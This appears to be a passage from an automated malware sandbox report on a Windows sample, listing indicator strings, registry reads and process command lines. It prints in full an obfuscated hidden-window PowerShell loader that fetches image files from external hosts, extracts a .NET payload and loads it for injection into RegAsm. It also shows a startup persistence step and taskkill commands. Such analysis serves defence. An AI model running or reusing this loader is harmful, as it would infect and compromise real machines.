((Get-Location).Path -ne '%ALLUSERSPROFILE%\) { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination '%ALLUSERSPROFILE%\StartupName.vbs' -Force }" (Indicator: "Sort-Object"; File: "powershell.exe") file/memory contains long string with (Indicator: "Select-Object"; Source: "00000000-00007560.00000000.153901.2E750000.00000004.mdmp") file/memory contains long string with (Indicator: "Sort-Object"; Source: "00000000-00007560.00000000.153901.2E750000.00000004.mdmp") Found string "Sort-Object" (Indicator: "Sort-Object"; Source: "00000000-00007560.00000000.153901.2E750000.00000004.mdmp, 00000000-00007560.00000000.153901.2E8B0000.00000004.mdmp, 00000000-00007560.00000000.153901.301C0000.00000004.mdmp") Found string "Select-Object" (Indicator: "Select-Object"; Source: "00000000-00007560.00000000.153901.2E750000.00000004.mdmp, 00000000-00007560.00000000.153901.2E8B0000.00000004.mdmp, 00000000-00007560.00000000.153901.301C0000.00000004.mdmp")48:Tdf9,Found string "\Device\HarddiskVolume3\Windows\System32\conhost.exe" (Indicator: "\Device\"; Source: "00000000-00003788-00000BC0-1366170879") Found string "\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Indicator: "\Device\"; Source: "00000000-00003788-00000BC0-1370700402") Found string "\Device\HarddiskVolume3\Windows\System32\cmd.exe" (Indicator: "\Device\"; Source: "00000000-00004416-00000BC1-1413525938") Found string "\Device\HarddiskVolume3\Windows\System32\taskkill.exe" (Indicator: "\Device\"; Source: "00000000-00007140-00000BC0-1414769789") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp, 00000000-00001496.00000000.152207.6B740000.00000004.mdmp, 00000000-00001496.00000000.152207.6B7B0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp, 00000000-00001496.00000000.152207.6B740000.00000004.mdmp, 00000000-00001496.00000000.152207.6B7B0000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001612.00000000.152853.FEF80000.00000004.mdmp, 00000000-00001612.00000000.152853.FF250000.00000004.mdmp, 00000000-00001612.00000000.152853.FF770000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001612.00000000.152853.FEF80000.00000004.mdmp, 00000000-00001612.00000000.152853.FF250000.00000004.mdmp, 00000000-00001612.00000000.152853.FF770000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00001612.00000000.152853.FEF80000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00004416.00000000.153873.E91E0000.00000004.mdmp, 00000000-00004416.00000000.153873.E94B0000.00000004.mdmp, 00000000-00004416.00000000.153873.EAE40000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00004416.00000000.153873.E91E0000.00000004.mdmp, 00000000-00004416.00000000.153873.E94B0000.00000004.mdmp, 00000000-00004416.00000000.153873.EAE40000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00004416.00000000.153873.E91E0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00007560.00000000.153901.2E750000.00000004.mdmp, 00000000-00007560.00000000.153901.2E8B0000.00000004.mdmp, 00000000-00007560.00000000.153901.301C0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00007560.00000000.153901.2E750000.00000004.mdmp, 00000000-00007560.00000000.153901.2E8B0000.00000004.mdmp, 00000000-00007560.00000000.153901.301C0000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00007560.00000000.153901.2E750000.00000004.mdmp")49:Tc15,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "")4a:T1c54,Process "powershell.exe" with commandline "powershell -Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command \\"$ddsdgo = ''WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAB7ACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAbABpAG4AawBzACkAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABsAGkAbgBd@ACAAaQBuACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACkAIAB7ACAAdAByAHkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGwAaQBuAGsAKQAgAH0AIABjAGEAdABjAGgAIAB7ACAAYwBvAG4AdABpAG4AdQBlACAAfQAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0ACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHAAcwA6AC8ALwAnADsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAYgBiAHIAbAB4AHcAdABd@AGIAZwB2AHAAbgBwAGYAeQBd@AGUAeAB1AC4AcwB1AHAAYQBiAGEAcwBlAC4AYwBvAC8AcwB0AG8AcgBhAGcAZQAvAHYAMQAvAG8AYgBqAGUAYwB0AC8AcAB1AGIAbABpAGMALwBuAGEAbgBvAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACwAIAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaQAuAGkAYgBiAC4AYwBvAC8AQwA1AHkANwBwADUAawBkAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAAkAGwAaQBuAGsAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAEgAbwBhAGEAYQBhAGEAYQBzAGQAbQBlACcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnAEEAcwBtACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuAHAALwB3AEsAcQBkAHQATgBIAGsAOABZAHgAVgBLAEgANwBoAE0AMABXAHEANgBFAFkAWQB4AEoAVwBvAGkAaABZAFkAWQB5AGMAOQBUAHMAUABGAFYAOQAwAGkATQBaAGEARwBTAGwAZwBVAF8AZwBPAFUAeQA2ADEARgA3AGsASQBiAEEAOQBGAEgARABUAHUANgBkADMANwBwAGsAYwBDAFQAeQB3AEMAOABRADQAZwBZAFcAcQByAHUARAB1AEIAUwA5AHkAMwBvAFIAWABEAFIAVwBwAGoAbgBDAFMAVwBEAGUATgBxAHEALQBqAF8AMgBFADAAMQBxAHkAdwBPAGwASwBMAHoAMQBzAHQAbgBd@AGgAXwB0ADkAYQA5AEYAXwBMAEYAQwBmADMARgBJAGYANABNAGIAeQBOAGEAWgBVAFoAbABBAE4AMABtAFYASQBDAFgAZgBCADAAYQBPAFgAegBoAG0AeQBaAE4ALQBGAGoAQgA3AGMAdwBHAHcASAB2ADQASgBWAGkAbQBKAE0AdwA3AHIAcgA5ADkAdQBNAE4AaABjAFEAbABLAGYAYgBFAEgANgBPADQATQAwAEIAOQAyAGoAZQBmAHEANgAxAFIAWQBd@ADIAbQBnAGQAVQAyAGwARQBUAEUAUwA2AEsAcQBRAFkAcQBlAFAAVABkAGMARQB3AEMAcABhADMAawBzAFQAZQA5AE0AMABkAEMAOQBpAGIAbgB5AGYANgB5AFgAQgB6AGsAVQBzAGUAUAAxAGsAcgAzAFYAVwBZAHgASABuAHUAMABFAEoAbQBTADYAYgBZAC0ARwBBAHMAUgB4AEoAaQB2ADkAYgByADUAVgBnADQAagBfAFIANAB6AFIAMwBnAFQAYwBlAFQAZgBtAG0AOQBfAHgAbwB2AGYANgBtAHkAOABDAEoAWABZAG4AUQBsAFoAdABwAFQATABsAHMATQB1AEMAQQAvAGcAaQByAG8ALwBwAC8AbQBvAGMALgB0AG4AZQB0AG4AbwBjAHIAZQBzAHUAeABvAGIAcABvAHIAZAAuAHMAdwBlAGkAdgBlAHIAcAAuADYAMwA3AGQAZQA4ADQAMQBkADMAMwBhADIANgBlAGEAZgA3ADIAMwBiADMAMgAyADEAYQBjAHUALwAvADoAcwAnACwAIAAnADIAJwAsACAAJwBTAHQAYQByAHQAdQBwAE4AYQBtAGUAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9AA=='';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''d@'',''r'')));iex $OWjuxD\\"'"" (UID: 00000000-00001496) Process "powershell.exe" with commandline "Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait" (UID: 00000000-00004416)4b:T522,Commandline contains long base64 encoded string "WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBv......." in [Source : powershell.exe] Commandline contains long base64 encoded string "AHMAIAB7ACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAbABpAG4AawBzACkAIAANAAoAIAAgACAAIAAgACAA......." in [Source : powershell.exe] Commandline contains long base64 encoded string "ACAAaQBuACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACkAIAB7ACAAdAByAHkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAHcA......." in [Source : powershell.exe] Commandline contains long base64 encoded string "AGUAeAB1AC4AcwB1AHAAYQBiAGEAcwBlAC4AYwBvAC8AcwB0AG8AcgBhAGcAZQAvAHYAMQAvAG8AYgBqAGUAYwB0AC8AcAB1AGIA......." in [Source : powershell.exe] Commandline contains long base64 encoded string "AHMAIAAkAGwAaQBuAGsAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQA......." in [Source : powershell.exe] Commandline contains long base64 encoded string "AGgAXwB0ADkAYQA5AEYAXwBMAEYAQwBmADMARgBJAGYANABNAGIAeQBOAGEAWgBVAFoAbABBAE4AMABtAFYASQBDAFgAZgBCADAA......." in [Source : powershell.exe] Commandline contains long base64 encoded string "ADIAbQBnAGQAVQAyAGwARQBUAEUAUwA2AEsAcQBRAFkAcQBlAFAAVABkAGMARQB3AEMAcABhADMAawBzAFQAZQA5AE0AMABkAEMA......." in [Source : powershell.exe]4c:T3642,"powershell -Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command \\"$ddsdgo = ''WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAB7ACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAbABpAG4AawBzACkAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABsAGkAbgBd@ACAAaQBuACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACkAIAB7ACAAdAByAHkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGwAaQBuAGsAKQAgAH0AIABjAGEAdABjAGgAIAB7ACAAYwBvAG4AdABpAG4AdQBlACAAfQAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0ACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHAAcwA6AC8ALwAnADsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAYgBiAHIAbAB4AHcAdABd@AGIAZwB2AHAAbgBwAGYAeQBd@AGUAeAB1AC4AcwB1AHAAYQBiAGEAcwBlAC4AYwBvAC8AcwB0AG8AcgBhAGcAZQAvAHYAMQAvAG8AYgBqAGUAYwB0AC8AcAB1AGIAbABpAGMALwBuAGEAbgBvAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACwAIAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaQAuAGkAYgBiAC4AYwBvAC8AQwA1AHkANwBwADUAawBkAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAAkAGwAaQBuAGsAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIA